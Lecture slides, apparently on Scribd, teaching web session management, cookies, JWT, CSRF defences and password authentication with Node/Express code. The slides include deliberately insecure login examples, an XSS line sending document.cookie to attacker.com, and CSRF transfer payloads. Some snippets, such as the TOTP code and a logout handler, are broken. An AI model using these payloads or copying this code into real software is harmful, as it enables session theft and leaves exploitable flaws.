0% found this document useful (0 votes)
12 views58 pages

Lec06 2.9m

The document discusses authentication, authorization, and session management in web applications, emphasizing the stateless nature of HTTP and the need for session management techniques. It covers the use of server-side sessions, client-side cookies, and security policies related to cookies, including attributes like domain, path, and expiration. Additionally, it introduces session tokens and JSON Web Tokens (JWT) for securely managing user sessions and transmitting authorization data.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
12 views58 pages

Lec06 2.9m

The document discusses authentication, authorization, and session management in web applications, emphasizing the stateless nature of HTTP and the need for session management techniques. It covers the use of server-side sessions, client-side cookies, and security policies related to cookies, including attributes like domain, path, and expiration. Additionally, it introduces session tokens and JSON Web Tokens (JWT) for securely managing user sessions and transmitting authorization data.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 58

Authentication, Authorization

and Session Management

1. Session Management

2
HTTP is stateless

• HTTP protocol itself does not store state


• Two any requests have no relation to each other
Web Browser Web Server
HTTP POST /login
(Body: uid + pass)
Login success  state:
HTTP Response authenticated
(Body: Hello User) Forget  state: not
authenticated
HTTP GET /other

HTTP Response
(Body: You need login)

Session

• Session refers to the period of interaction


between a Web client and a Web application
• HTTP is stateless: How to store the state of
session?
• Server-side: session object
• Client-side: cookie
• Or both ways

4
Server-side session: Example

• PHP: $_SESSION
• Global variable
• Init session: session_start();
• Access data: $_SESSION[‘name’] = value
• NodeJS: node-persist
• Uses the HTML5 localStorage API to store JSON
documents in the file system
const storage = require('node-persist');
• Init storage: storage.initSync(), storage.init()
• Store data: storage.setItem('name’,’json’)
• Get data: storage.getItem('name’)
• Update data: storage.updateItem(‘name’, ‘json’)

Cookie

• Cookie: a piece of data used to maintain state


across multiple requests
• Cookies are used by the server to implement
sessions
• Goal: Server keeps a set of data related to a
user's current "browsing session"
• Examples
• Logins
• Shopping carts
• User tracking

6
Cookie

• Creating cookies
• The server can create a cookie by including a Set-
Cookie header in its response
Set-Cookie: theme=dark; Expires=<date>…
name value attributes
• JavaScript in the browser can create a cookie
• Users can manually create cookies in their browser
• Storing cookies
• Cookies are stored in the web browser (not the web
server)
• The browser’s cookie storage is sometimes called a
cookie jar

Cookie

• Sending cookies
• The browser automatically attaches all relevant
cookies by Cookie header in every request
Cookie: theme=dark; lang=en

• The server uses received cookies to customize


responses and connect related requests

8
Basic cookies attributes

● The domain attribute and Name NEXT_LOCALE


path attribute define which Value en
requests the browser should
Domain
attach this cookie for nodejs.org

● The domain attribute usually Path /docs

looks like the domain in a Secure True


URL HttpOnly False
● The path attribute usually Expires 12 Aug 2021
looks like a path in a URL 20:00:00

(other fields omitted)

Basic cookies attributes

● Expires - defines when the Name NEXT_LOCALE


cookie is no longer valid Value en
● The expires attribute is usually
Domain nodejs.org
a timestamp
● If the timestamp is in the past, Path /docs

then the cookie has expired, Secure True


and the browser deletes it from HttpOnly False
the cookie jar
Expires 12 Aug 2021
20:00:00

(other fields omitted)

10

10
Basic cookies attributes

● The Secure attribute and Name NEXT_LOCALE


HttpOnly attribute restrict the Value en
cookie for security purposes
Domain nodejs.org
● Each attribute is either True or
False Path /docs
● If the Secure attribute is True, Secure True
then the browser only sends the HttpOnly False
cookie if the request is made
Expires 12 Aug 2021
over HTTPS (not HTTP) 20:00:00
● If the HttpOnly attribute is (other fields omitted)
True, then JavaScript in the
browser is not allowed to access
the cookie

11

11

Cookie policy

• Security issues:
• A server should not be able to set cookies for
unrelated websites
• Example: evil.com should not be able to set a cookie that gets
sent to google.com
• Cookies shouldn’t be sent to the wrong websites
• Example: A cookie used for authenticating a user to Google
should not be sent to evil.com
• We’ll see how cookies are used for logins later
• Cookie policy: A set of rules enforced by the
browser
• When the browser receives a cookie from a server,
should the cookie be accepted?
• When the browser makes a request to a server,
should the cookie be attached?

12

12
Cookie Policy: Setting Cookies

● When the browser receives a cookie from a server,


should the cookie be accepted?
● Server with domain X can set a cookie with domain
attribute Y if
• The domain attribute is a domain suffix of the server’s domain
• X ends in Y
• X is below Y on the hierarchy
• X is more specific than Y
• The domain attribute Y is not a top-level domain (TLD)
• No restrictions for the Path attribute (the browser will accept
any path)
● Examples:
• mail.google.com can set cookies for Domain=google.com
• google.com can set cookies for Domain=google.com
• google.com cannot set cookies for Domain=com, because com
is a top-level domain

13

13

Cookie Policy: Sending Cookies

● When the browser makes a request to a server,


should the cookie be attached?
● The browser sends the cookie if both of these
are true:
• The domain attribute is a domain suffix of the
server’s domain
• The path attribute is a prefix of the server’s path
• Example
• Requested URL:
https://foo.example.com/some/path/sub/hello.html
• Sends any cookie if its Domain = example.com and
Path = /some/path

14

14
Sending Cookies – Example

Cookie 1 Cookie 2 Cookie 3


value = a value = b value = c
domain = login.site.com domain = site.com domain = site.com
path = / path = / path = /my/home
secure

Requested URL Cookie 1 Cookie 2 Cookie 3


http://login.site.com X  X
https://login.site.com   X
https://site.com X  X
http://site.com/my/home X  
http://account.site.com X  X
https://login.site.com/my/home   

15

15

Insecure Session 1

<!doctype html>
<html lang='en'>
<head>
<meta charset='utf-8' />
<title>My Cool Site</title>
</head>
<body>
<h1>Bank login:</h1>
<form method='POST' action='/login'> Username:
<input name='username' />
<br /> Passwor:
<input name='password' type='password' />
<br />
<input type='submit' value='Login' />
</form>
</body>
</html>

16

16
Insecure Session 1

const express = require('express')


const { createReadStream } = require('fs')
const cookieParser = require('cookie-parser')

const app = express()


app.use(cookieParser())
app.use(express.urlencoded({ extended: false }))
// Routes go here! app.listen(8000)
app.listen(8000)

17

17

Insecure Session 1
const USERS = { alice: 'password', bob: '50505’ }
const BALANCES = { alice: 500, bob: 100 }

app.get('/', (req, res) => {


const { username } = req.cookies
if (username) {
res.send(`
<h1>Welcome, ${username}</h1>
<p>Your balance is $${BALANCES[username]}</p>
`)
} else {
createReadStream('index.html').pipe(res)
}
})

18

18
Insecure Session 1

app.post('/login', (req, res) => {


const { username } = req.body
const { password } = req.body
if (password === USERS[username]) {
res.cookie('username', username)
res.redirect('/')
} else {
res.send('fail!')
}
})

app.get('/logout', (req, res) => {


res.clearCookie('username’)
res.redirect('/')
})

19

19

Recall: Signature schemes

• Triple of algorithms (G, S, V)


• G() → k - generator returns key
• S(k, m) → t - signing returns a tag t for message m
• V(k, m, t) → true|false - checks validity of tag t for
given message m
• Correctness property
• V(k, m, S(k, m)) = true should always be true
• Security property
• V(k, m, t) = false should almost never be true when m
and t are chosen by the attacker

20

20
Cookie verification

POST /login HTTP/1.1 G(k)  k


username=alice&&password=password
Login info ok?
OK
HTTP/1.1 200 OK
Set-Cookie: username=alice; S(k, ‘alice’)t
Set-Cookie: tag =t;

Client Server
GET / HTTP/1.1
Cookie: username=alice; tag=t

V(k, ‘alice’, t) true?

HTTP/1.1 200 OK true


Private webpage for Alice!

21

21

Insecure Session 2

const COOKIE_SECRET = 'G2T7SRHTX1T62DHR'


app.use(cookieParser(COOKIE_SECRET))

app.get('/', (req, res) => {


const username = req.signedCookies.username
if (username) {
res.send(`
<h1>Welcome, ${username}</h1>
<p>Your balance is $${BALANCES[username]}</p>
`)
} else {
createReadStream('index.html').pipe(res)
}
})

22

22
Insecure Session 2

app.post('/login', (req, res) => {


const { username } = req.body
const { password } = req.body
if (password === USERS[username]) {
res.cookie('username', username, { signed: true })
res.redirect('/')
} else {
res.send('fail!')
}
})

app.get('/logout', (req, res) => {


res.clearCookie('username’)
res.redirect('/')
})

23

23

Session token

● Session token: A secure value used to associate


requests with an authenticated user
● The first time you visit the website:
• Present your username and password
• If they’re valid, you receive a session token
• The server associates you with the session token
● When you make future requests to the website:
• Attach the session token in your request
• The server checks the session token to figure out that
the request is from you
• No need to re-enter your username and password!

24

24
Session token: Security

● If an attacker steals your session token, they can


access as you!
• The attacker can make requests and attach your session
token
• The server will think the attacker’s requests come from
you
● Servers need to generate session tokens randomly
and securely
● Browsers need to make sure malicious websites
cannot steal session tokens
• Enforce isolation with cookie policy and same-origin
policy
● Browsers should not send session tokens to the
wrong websites
• Enforced by cookie policy

25

25

Insecure Session 3

let nextSessionId = 1
const SESSIONS = {} // sessionId -> username

app.get('/', (req, res) => {


const { sessionId } = req.cookies
const username = SESSIONS[sessionId]

if (username) {
res.send(`
<h1>Welcome, ${username}</h1>
<p>Your balance is $${BALANCES[username]}</p>
`)
} else {
createReadStream('index.html').pipe(res)
}
})

26

26
Insecure Session 3
app.post('/login', (req, res) => {
const { username } = req.body
const { password } = req.body
if (password === USERS[username]) {
SESSIONS[nextSessionId] = username
res.cookie('sessionId', nextSessionId)
nextSessionId += 1
res.redirect('/’)
} else {
res.send('fail!’)
}
})
app.get('/logout', (req, res) => {
const { sessionId } = req.cookies
delete SESSIONS[sessionId]
res.clearCookie('username’)
res.redirect('/')
})

27

27

JSON Web Token - JWT

• JSON Web Token: Representing claims to be


transferred between two parties
• Guarantee authenticity and optionally encrypted
• Useful for transmitting authorization data, such as
session cookie
• JWT consist of three parts, each separated by a dot:
{ { S( base64UrlEncode(header) + "."
“alg”: “algorithm” + base64UrlEncode(payload), key)
“typ”: “JWT” }
}
Header Payload Signature

Base64Url-encode

28

28
Store and Transmitting JWTs

• Method 1: setting a cookie with Set-Cookie, in


an HTTP Header
• Method 2: sending token in the response body,
for example, in JSON
• The browser needs to store token:
• Javascripts variable
• HTML5 session storage (window.sessionStorage)
• HTML5 local storage (window.localStorage)
• The browser sent token to the server as an
Authorization: Bearer header
Authorization: Bearer jwt-token

29

29

Example
const express = require('express');
const jwt = require('jsonwebtoken');
const app = express();

// Generates a token based on user information (e.g., username)


function generateAccessToken(username) {
// TOKEN_SECRET is used for data encryption and decryption
const token = jwt.sign({ username },
process.env.TOKEN_SECRET, { expiresIn: '1800s' });
return token;
}

// Route to create a token when a user logs in


app.post('/api/login', (req, res) => {
// Authenticate user information
// ...
// After successful authentication, create a token
const token = generateAccessToken(req.body.username);
res.cookie(‘access-token’, token) // or res.json({ token });
});

30

30
Example
// Verify the token before accessing protected routes
const authMiddleware = (req, res, next) => {
const { token } = req.cookies
// or const token = req.headers.authorization;
if (!token) {
return res.status(401).json({ message: 'No token provided'});
}
jwt.verify(token, process.env.TOKEN_SECRET, (err, decoded) => {
if (err) {
return res.status(401).json({ message: 'Invalid token' });
}
req.user = decoded;
next();
});
};

// Protected route
app.get('/protected', authMiddleware, (req, res) => {
res.json({ message: 'You are authorized to access this resource'
});
});

31

31

Revoking JWT

• Problem: The JWT authorization cannot be


revoked
• Solution: make the expiry short, typically a few
minutes, and also issue a refresh token:
1. Server generate refresh token and store in special
tables
2. If JWT authorization token reaches expiry, client
sends the refresh token
3. Server checks to see if refresh token is in this table.
If is, server returns a new authorization token;
otherwise responds with 403 Forbidden

32

32
Example: Revoking JWT

Check if Refresh-token is
in table

33

33

Example: Revoking JWT

Check if Refresh-
token is not in table

34

34
Example: Revoking JWT

const refreshTokens = [];


app.post('/login', (req, res) => {
// Authenticate user information
// ...
// After successful authentication, create tokens
const accessToken = jwt.sign({ username },
process.env.ACCESS_TOKEN_SECRET, { expiresIn: '20m’});
const refreshToken = jwt.sign({ username },
process.env.REFRESH_TOKEN_SECRET);

refreshTokens.push(refreshToken);
res.json({accessToken, refreshToken});
});

35

35

Example: Revoking JWT


app.post('/token', (req, res) => {
const { token } = req.body;

if (!token) {
return res.sendStatus(401);
}

if (!refreshTokens.includes(token)) {
return res.sendStatus(403);
}

jwt.verify(token, refreshTokenSecret, (err, user) => {


if (err) {
return res.sendStatus(403);
}
const accessToken = jwt.sign({ username },
process.env.ACCESS_TOKEN_SECRET, { expiresIn: '20m’});
res.json({accessToken});
});
});

36

36
Example: Revoking JWT

app.post('/logout', (req, res) => {


const { token } = req.body;
refreshTokens = refreshTokens.filter(token => t !== token);

res.send("Logout successful");
});

37

37

Session attack

38

38
Session hijacking

• Sending cookies over unencrypted HTTP is a very


bad idea
• If anyone sees the cookie, they can use it to hijack the
user's session
• Attacker sends victim's cookie as if it was their own
• Server will be fooled
• Mitigation:
• Use HTTPS for entire website
• Use Secure cookie attribute to prevent cookie from
being sent over unencrypted HTTP connections
Set-Cookie: key=value; Secure

39

39

Sessions (with a network attacker)

GET / HTTP/1.1
Cookie: session-token = LjsUh264hA
Client
GET / HTTP/1.1
Cookie: session-token = LjsUh264hA
Server

Attacker HTTP/1.1 200 OK


Private webpage

40

40
Session hijacking via Cross Site Scripting

• What if website is vulnerable to XSS?


• Attacker can insert their code into the webpage
• At this point, they can easily exfiltrate the user's
cookie
new Image().src =
'https://attacker.com/steal?cookie=' +
document.cookie
• More on XSS later!
• Mitigation: Use HttpOnly cookie attribute to
prevent cookie from being read from JavaScript
Set-Cookie: key=value; Secure; HTTPOnly

41

41

Cookie Path bypass

• Do not use Path for security


• Path does not protect against unauthorized
reading of the cookie from a different path on
the same origin
• Can be bypassed using an <iframe> with the path
of the cookie
• Then, read iframe.contentDocument.cookie
• Therefore, only use Path as a performance
optimization

42

42
Cross-Site Request Forgery
(CSRF)

43

43

Top 25 Most Dangerous Software Weaknesses (2023)

44

44
Cross-Site Request Forgery (CSRF)

• Idea: What if the attacker tricks the victim into making an


unintended request?
• The victim’s browser will automatically attach relevant cookies
• The server will think the request came from the victim!
• Cross-site request forgery (CSRF or XSRF): An attack that
exploits cookie-based authentication to forces an end
user to execute unwanted actions on a web app in which
they're currently authenticated
• Normal users: CSRF attack can force user to perform requests
like transferring funds, changing email address, etc.
• Admin users: CSRF attack can force admins to add new admin
user, or in the worst case, run commands diretly on the server
• Effective even when attacker can't read the HTTP
response

45

45

Steps of a CSRF Attack

1. User authenticates to the server


• User receives a cookie with a valid session token
2. Attacker tricks the victim into making a malicious
request to the server
3. The server accepts the malicious request from the
victim
• Recall: The cookie is automatically attached in the request
Login
User Server
Malicious request
Go to malicious webpage

Load malicious webpage


evil.com

46

46
Executing a CSRF Attack

• How might the attaker trick the victim into


making a GET request?
• Strategy #1: Trick the victim into clicking a link
• Later we’ll see how to trick a victim into clicking a link
• The link can directly make a GET request:
https://www.bank.com/transfer?amount=100&to=mal
lory
• The link can open an attacker’s website, which
contains some JavaScript that makes the actual
malicious request

47

47

Executing a CSRF Attack

• How might we trick the victim into making a GET


request?
• Strategy #2: Put some HTML on a website the
victim will visit
• Example: The victim will visit a forum. Make a post
with some HTML on the forum
• HTML to automatically make a GET request to a URL:
<img
src="https://www.bank.com/transfer?amount=100&t
o=Mallory">
• This HTML will probably return an error or a blank 1
pixel by 1 pixel image, but the GET request will still be
sent… with the relevant cookies!

48

48
Executing a CSRF Attack

• How might the attacker trick the victim into making a


POST request?
• Example POST request: Submitting a form
• Strategy #1: Trick the victim into clicking a link
• Note: Clicking a link in your browser makes a GET request,
not a POST request, so the link cannot directly make the
malicious POST request
• The link can open an attacker’s website, which contains
some JavaScript that makes the actual malicious POST
request
• Strategy #2: Put some JavaScript on a website the
victim will visit
• Example: Pay for an advertisement on the website, and put
JavaScript in the ad
• Recall: JavaScript can make a POST request

49

49

CSRF Defenses
CSRF defenses are implemented by the server
(not the browser)

50

50
CSRF tokens

• Idea: Add a secret value in the request that the


attacker doesn’t know
• The server only accepts requests if it has a valid token
• Now, the attacker can’t create a malicious request
without knowing the token
• CSRF token: A token provided by the server to
the user. The user must attach the same value in
the request for the server to accept the request.
• CSRF tokens cannot be sent to the server in a cookie!
• The token must be sent somewhere else (e.g. a header, GET
parameter, or POST content)
• CSRF tokens are usually valid for only one requests

51

51

CSRF tokens: Usage

• Example: HTML forms are vulnerable to CSRF


• If the victim visits the attacker’s page, the attacker’s
JavaScript can make a POST request with a filled-out
form
• CSRF tokens are a defense against this attack
• Every time the user requests a form from the
legitimate website, the server attaches a CSRF token
as a hidden form field (in the HTML, but not visible to
the user)
• When the user submits the form, the form contains
the CSRF token
• The attacker’s JavaScript won’t be able to create a
valid form, because they don’t know the CSRF token!
• The attacker can try to fetch their own CSRF token,
but it will only be valid for the attacker, not the victim

52

52
CSRF tokens: Usage
GET /banking/transfer HTTP/1.1
Generate CSRF token
e.g. token = e1h5AW
<input type=“hidden”
Client name=“token” value=“e1h5AW”>
bank.com
/banking/transfer?token=e1h5A
W&amount=100&dest=Bob Check token is valid?
OK
Server

Change CSRF token


e.g. token = ogQ51k2
Client
evil.com /banking/transfer?token=12345
6&amount=100&dest=Mallory
Check token is valid?
Reject

53

53

Referer Header

• Idea: In a CSRF attack, the victim usually makes the


malicious request from a different website
• Referer header: A header in an HTTP request that
indicates which webpage made the request
• If JavaScript on an attacker’s website forces your browser to
make a request, the Referer header for that request is the
attacker’s URL
• Checking the Referer header
• Allow same-site requests: The Referer header matches an
expected URL
• Example: For a login request, expect it to come from
https://bank.com/login
• Disallow cross-site requests: The Referer header does
not match an expected URL
• If the server sees a cross-site request, reject it

54

54
Referer Header: Issues

• The Referer header may leak private information


• Example: If you made the request on a top-secret
website, the Referer header might show you visited
http://intranet.corp.apple.com/projects/iphone/comp
etitors.html
• Example: If you make a request to an advertiser, the
Referer header gives the advertiser information about
how you saw the ad
• The Referer header might be removed before the
request reaches the server
• Example: Your company firewall removes the header
before sending the request
• Example: The browser removes the header because of
your privacy settings

55

55

SameSite Cookie Attribute

• SameSite flag: cookie attribute to prevent cookie


from being sent with requests initiated by other
sites
• SameSite=None - always send cookies
• SameSite=Lax – default, withhold cookies on
subresource requests originating from other sites,
allow them on top-level requests
• SameSite=Strict: The cookie will not be sent if the
cookie domain does not match the origin domain
• Issue: Not yet implemented on all browsers!

56

56
Example: SameSite=Lax

mysite.com
Set-Cookie: promo_shown=1; SameSite=Lax

othersite.com
<p>Look at this amazing cat!</p>
<img src="https://mysite.com/blog/img/amazing-cat.png" />
<p>Read the <a
href="https://mysite.com/blog/cat.html">article</a>.</p>

• The browser requests amazing-cat.png for the


othersite.com, the cookie doesn’t been sent.
• The reader follows the link to cat.html on
mysite.com, that request does include the cookie.

57

57

OWASP Cheat Sheet

• Session Management
https://cheatsheetseries.owasp.org/cheatsheets/Session_
Management_Cheat_Sheet.html
• Cross-Site Request Forgery Prevention
https://cheatsheetseries.owasp.org/cheatsheets/Cross-
Site_Request_Forgery_Prevention_Cheat_Sheet.html

58

58
2. User Authentication

59

59

What is authentication?

• Idea: Verify the user is who they say they are


• Authentication systems use a variety of factors:
• Something you know (e.g. a password)
• Something you have (e.g. a phone, badge, or
cryptographic key)
• Something you are (e.g. a fingerprint or other
biometric data)
• Others: device, software, location, behaviour, …
• Multi-factor authentication(MFA): The more
factors used, the more sure we are that the user
is who they say they are

60

60
Designing password requirements

• Left on their own, users will choose weak


passwords Source: nordpass.com

• Solution: Let's enforce password requirements


• What should the requirements be?

61

61

Password requirement best practices

• Minimum password length should be at least 8


characters
• Maximum password length should be at least 64
characters
• Do not allow unlimited length, to prevent long
password denial-of-service
• Common gotcha: bcrypt has a max length of 72 ASCII
characters
• Check passwords against known breach data
• Rate-limit authentication attempts
• Encourage/require use of a second factor

62

62
Consider human factors

63

63

Online attack

• The attacker interacts with the service


• Three primary types of attack
• Brute force: Testing multiple passwords from dictionary or
other source against a single account
• Credential stuffing: Testing username/password pairs
obtained from the breach of another site
• Password spraying: Testing a single weak password against
a large number of different accounts
• Defenses:
• Limit the rate at which an attacker can make
authentication attempts, or delay incorrect attempts
• Keep track of IP addresses and limit the number of
unsuccessful attempts
• Temporarily ban the user after too many unsuccessful
attempts

64

64
CAPTCHA

• "Completely Automated Public Turing test to tell


Computers and Humans Apart"
• CAPTCHA’s disadvantages:
• Difficult for users with visual impairement to use
• Attackers can proxy CAPTCHA requests to another user in real-
time
• Dark market services offer cheap CAPTCHA solving services
powered by humans

65

65

https://anti-captcha.com/

66

66
Offline attack

• The attacker performs all the computation


themselves
• Example: Mallory steals the password file
• Bad idea #1: Store a file listing every user’s password
• Problem: What if an attacker hacks into the service? Now
the attacker knows everyone’s passwords!
• Bad idea #2: Encrypt every user’s password before
storing it
• Problem: The attacker could steal the passwords file and
the key and decrypt everyone’s passwords!
• We need a way to verify passwords without storing
any information that would allow someone to
recover the original password

67

67

Password Hashing

• For each user, store a hash of their password


• Verification process
• Hash the password submitted by the user
• Check if it matches the password hash in the file
• What properties do we need in the hash?
• Deterministic: To verify a password, it has to hash to
the same value every time
• One-way: We don’t want the attacker to reverse
hashes into original passwords

68

68
Example: Hashing passwords

const crypto = require('crypto')


const sha256 = s =>
crypto.createHash('sha256').update(s).digest('hex')

const user = await createUser(username, sha256(password))

// later...

const isValid = sha256(otherPassword) === passwordHash

69

69

Password Hashing: Attacks

● What if two different users decide to use


password123 as their password?
• Hashes are deterministic: They’ll have the same
password hash
• An attacker can see which users are using the same
password
● Rainbow attacks/Dictionary attack
• Most people use insecure, common passwords
• An attacker can pre-compute hashes for common
passwords: H("password123"), H("password1234"),
H("1234567890"), etc.
• Rainbow attack/Dictionary attack: Hash an entire
dictionary of common passwords
● Rainbow tables: a precomputed table for looking
up password

70

70
Salted Hashes

● Add a unique, random salt for each user


● Salt: A random, public value designed to make
rainbow attacks harder
• For each user, store: username, salt, H(password || salt)
• To verify a user: look up their salt in the passwords file,
compute H(password || salt), and check it matches the
hash in the file
• Salts should be long and random
• Salts are not secret
● Rainbow attacks are now harder
• Assume there are M possible passwords and N users in
the database
• Unsalted database: Hash all possible passwords, then
lookup all users’ hashes ⇒ O(M + N)
• Salted database: Hash all passwords for each user’s salt
⇒ O(MN)

71

71

Example: Salted Hash

const crypto = require('crypto')


const sha256 = s =>
crypto.createHash('sha256').update(s).digest('base64')

const salt = crypto.randomBytes(16).toString('base64')


const passwordHash = sha256(salt + password)
const user = await createUser(username, salt, passwordHash)

// later...

const salt = await getSalt(username)


const otherPasswordHash = sha256(salt + otherPassword)
const isValid = otherPasswordHash === passwordHash

72

72
Slow Hashes

• Cryptographic hashes are usually designed to be


fast
• SHA is designed to produce a checksum of your 1 GB
document as fast as possible
• Password hashes are usually designed to be slow
• Legitimate users only need to submit a few password
tries. Users won’t notice if it takes 0.0001 seconds or
0.1 seconds for the server to check a password.
• Attackers need to compute millions of hashes. Using a
slow hash can slow the attacker by a factor of 1,000 or
more!
• Note: We are not changing the asymptotic difficulty of
attacks. We’re adding a large constant factor, which
can have a huge practical impact for the attacker

73

73

Slow Hashes: PBKDF2

• Password-based key derivation function 2


(PBKDF2): A slow hash function
• Setting: An underlying function that outputs random-
looking bits (e.g. HMAC-SHA256)
• Setting: The desired length of the output
• Setting: Iteration count (higher = hash is slower, lower =
hash is faster)
• Input: A password, a salt
• Output: A long, random-looking n-bit string derived from
the password and salt
• Implementation: Basically computing HMAC 10,000 times
• Benefits (assuming the user password is strong)
• Derives an arbitrarily long string from the user's password
• Algorithm is slow, but doesn't use a lot of memory
(alternatives like Scrypt and Argon2 use more memory)

74

74
Example: PBKDF2

const express = require('express');


const crypto = require('crypto’);
// Generate a random salt
function generateSalt() {
return crypto.randomBytes(16).toString('hex');
}

// Hash the password using PBKDF2


function hashPassword(password, salt) {
const iterations = 10000;
const keyLength = 64; // 64 bytes (512 bits)
const digest = 'sha256';

return crypto.pbkdf2Sync(password, salt, iterations,


keyLength, digest).toString('hex');
}

75

75

bcrypt()

• Password hashing function designed by Niels


Provos and David Mazières
• Expensive key setup algorithm
• You don't want speed in a password hash
function
• Automatically handles all password salting
complexity and includes it in the hash output

76

76
Example: bcrypt()

const express = require('express');


const bcrypt = require('bcryptjs'); // Import the bcrypt library
app.post('/register', async (req, res) => {
const { username, password } = req.body;

try {
// Generate a salt (10 rounds is a good default)
const salt = await bcrypt.genSalt(10);

// Hash the password using the salt


const hashedPassword = await bcrypt.hash(password, salt);

// Save the salt and hashed password to your database

res.status(200).json({ message: 'User registered


successfully!' });
} catch (error) {
res.status(500).json({ error: 'Internal server error' });
}
});

77

77

Example: bcrypt()
app.post('/login', async (req, res) => {
const { username, password } = req.body;

try {
// Retrieve the hashed password from your database
const hashedPasswordFromDB = '...'; //

// Compare the provided password with the hashed password


// from the database
const isPasswordValid = await bcrypt.compare(password,
hashedPasswordFromDB);

if (isPasswordValid) {
res.status(200).json({ message: 'Login successful!' });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
} catch (error) {
res.status(500).json({ error: 'Internal server error' });
}
});

78

78
Salt + Pepper

• Attaker persistently computes rainbow tables


• Pepper: A random, secret value designed to make
rainbow attacks so much harder
• Peppers should be long and random
• Should be at least 128 bit
• For each user, store: username, salt, H(password || salt
|| pepper)
• To verify a user: look up their salt in the passwords file,
compute H(password || salt || pepper), and check it
matches the hash in the file
• How to safely use pepper?

79

79

Response discrepancy information exposure

• Information exposure: Information is leaked to


an attacker that should not be leaked
• Response discrepancy: "The software provides
different responses to incoming requests in a
way that allows an actor to determine system
state information that is outside of that actor's
control sphere."
• Respond with a generic error message regardless
of whether:
• Login
• Password Recovery
• Account creation

80

80
Response discrepancy: Login

• Incorrect response examples:


• "Login for user foo: invalid password"
• "Login failed, invalid user ID"
• "Login failed; account disabled"
• "Login failed; this user is not active"
• Correct response example:
• "Login failed; Invalid user ID or password"

81

81

Response discrepancy: Password recovery

• Incorrect response examples:


• "We just sent you a password-reset link"
• "This email address doesn't exist in our database"
• Correct response example:
• "If that email address is in our database, we will send
you an email to reset your password"

82

82
Response discrepancy: Account Creation

• Incorrect response examples:


• "This user ID is already in use"
• "Welcome! You have signed up successfully"
• Correct response example:
• "A link to activate your account has been emailed to
⟨input email address⟩"

83

83

Response discrepancy: HTTP status codes

• Any difference will leak info to the attacker, even


HTTP status codes
• Incorrect response examples:
• Sometimes HTTP 200: "Login failed; Invalid user ID or
password"
• Sometimes HTTP 403: "Login failed; Invalid user ID or
password"
• Correct response example:
• Always HTTP 403: "Login failed; Invalid user ID or
password"

84

84
Response discrepancy: Timing

• Bad or Good?
const userExists = await lookupUserExists(username)
if (userExists) {
const passwordHash = hash(password)
const isValid = await lookupCredentials(username,
passwordHash)
if (!isValid) {
throw Error('Invalid username or password’)
}
} else {
throw Error('Invalid username or password')
}

• Beware of using early returns in authentication code

85

85

Multi-factor Authentication

86

86
How attackers use a breach database

• Machine capable of cracking 100B+ passwords per


second against SHA256 can be built for $20,000 (as
of July 2019)
• Try every password which has been disclosed in a
breach (>500M passwords). Think of this as “every
password anyone has ever thought of, ever.”
Statistically, this will break >70 of user passwords
• The complete list just takes 5ms to try, so an attacker
can run the complete list against 200 accounts every
second
• Build a list of popular phrases, song lyrics, news
headlines to pick up another 5-7% of user passwords

87

87

Multi-factor authentication

• Microsoft: "Based on our studies, your account is


more than 99.9% less likely to be compromised if
you use MFA"
• Common additional factors:
• Something you have (e.g. a phone, badge, or
cryptographic key)
• Something you are (e.g. a fingerprint or other
biometric data)
• Others: device, software, location…

88

88
Multi-factor authentication

• Choosing a strong password can prevent these


attacks:
• Password spray: Guessing, hammering, low-and-slow
• Brute force: Database extraction, cracking
• Choosing a strong password cannot prevent
these attacks:
• Credential stuffing: Breach replay, list cleaning
• Phishing: Man-in-the-middle, credential interception
• Keystroke logging: Malware, sniffing
• Local discovery: Dumpster diving, physical recon,
network scanning
• Extortion: Blackmail, insider threat

89

89

Time-based One-Time Passwords (TOTP)

90

90
TOTP

1. Server creates a secret key for specific user


2. Server shares secret key with the user's phone
app
3. Phone app initializes a counter
4. Phone app generates a one time password
using secret key and counter
5. Phone app changes the counter after a certain
interval and regenerates the one time
password

91

91

Selectively requiring MFA

• To preserve user experience, consider only


requiring MFA for:
• A new browser/device or IP address
• An unusual country or location
• An IP address that appears on known blocklists
• An IP address that has tried to login to multiple
accounts
• A login attempt that appears to be scripted rather
than manual

92

92
Example: TOTP

//Server generates unique secret key for user:


const secretKey = crypto.randomBytes(160)
await addSecretKeyForUser(username, secretKey)

//Give secret key to user via QR code...

//Generate the current one-time password


const counter = Math.floor(Date.now() / (30 * 1000))
const hmacHash = crypto.createHmac('sha1',
secretKey).update(counter).digest()

const offset = hmacHash[19] & 0xf


const truncatedHash = (hmacHash[offset++] & 0x7f) << 24 |
(hmacHash[offset++] & 0xff) << 16 |
(hmacHash[offset++] & 0xff) << 8 |
(hmacHash[offset++] & 0xff) |
const finalOTP = truncatedHash % (10 ^ 6

93

93

Subverting MFA: Relay Attacks


• Relay attacks (transient phishing): The attacker
steals both factors in a phishing attack
• Example: Two-factor authentication scheme
• First factor: The user’s password (something the user
knows)
• Second factor: A code sent to the user’s phone (something
the user owns)
• Attack
1. The phishing website asks the user to input their
password (first factor)
2. The attacker immediately tries to log in to the actual
website as the user
3. The actual website sends a code to the user
4. The phishing website asks the user to enter the code
(second factor)
5. The attacker enters the code to log in as the user

94

94
Relay attack

“Welcome to Google.
Please login”
“User: victim
Password: password123” Attacker
“User: victim
Password: password123”

Victim Google
“Your 2FA code is 382924”

“Enter the security code.”

“382924” Attacker

“382924”

95

95

WebAuthn

• Register and authenticate users using public key


cryptography instead of a password
• Passkey: passwordless authentication factor
• Something you have
• Something you are
• WebAuthn roles:
• The Server (Relying Party): creates credentials and
uses them to validate the user.
• Client: the JavaScript application that is running in the
user’s browser
• Authenticator stores the credentials. This may be
embedded in the browser, part of the OS, or an
external device such as a USB device.

96

96
Authenticator

97

97

WebAuthn: Registration

98

98
WebAuthn: Authentication

99

99

References

• Demo: https://webauthn.io/
• Guide: https://webauthn.guide/

100

100
Single Sign On (SSO)

101

101

What is SSO?

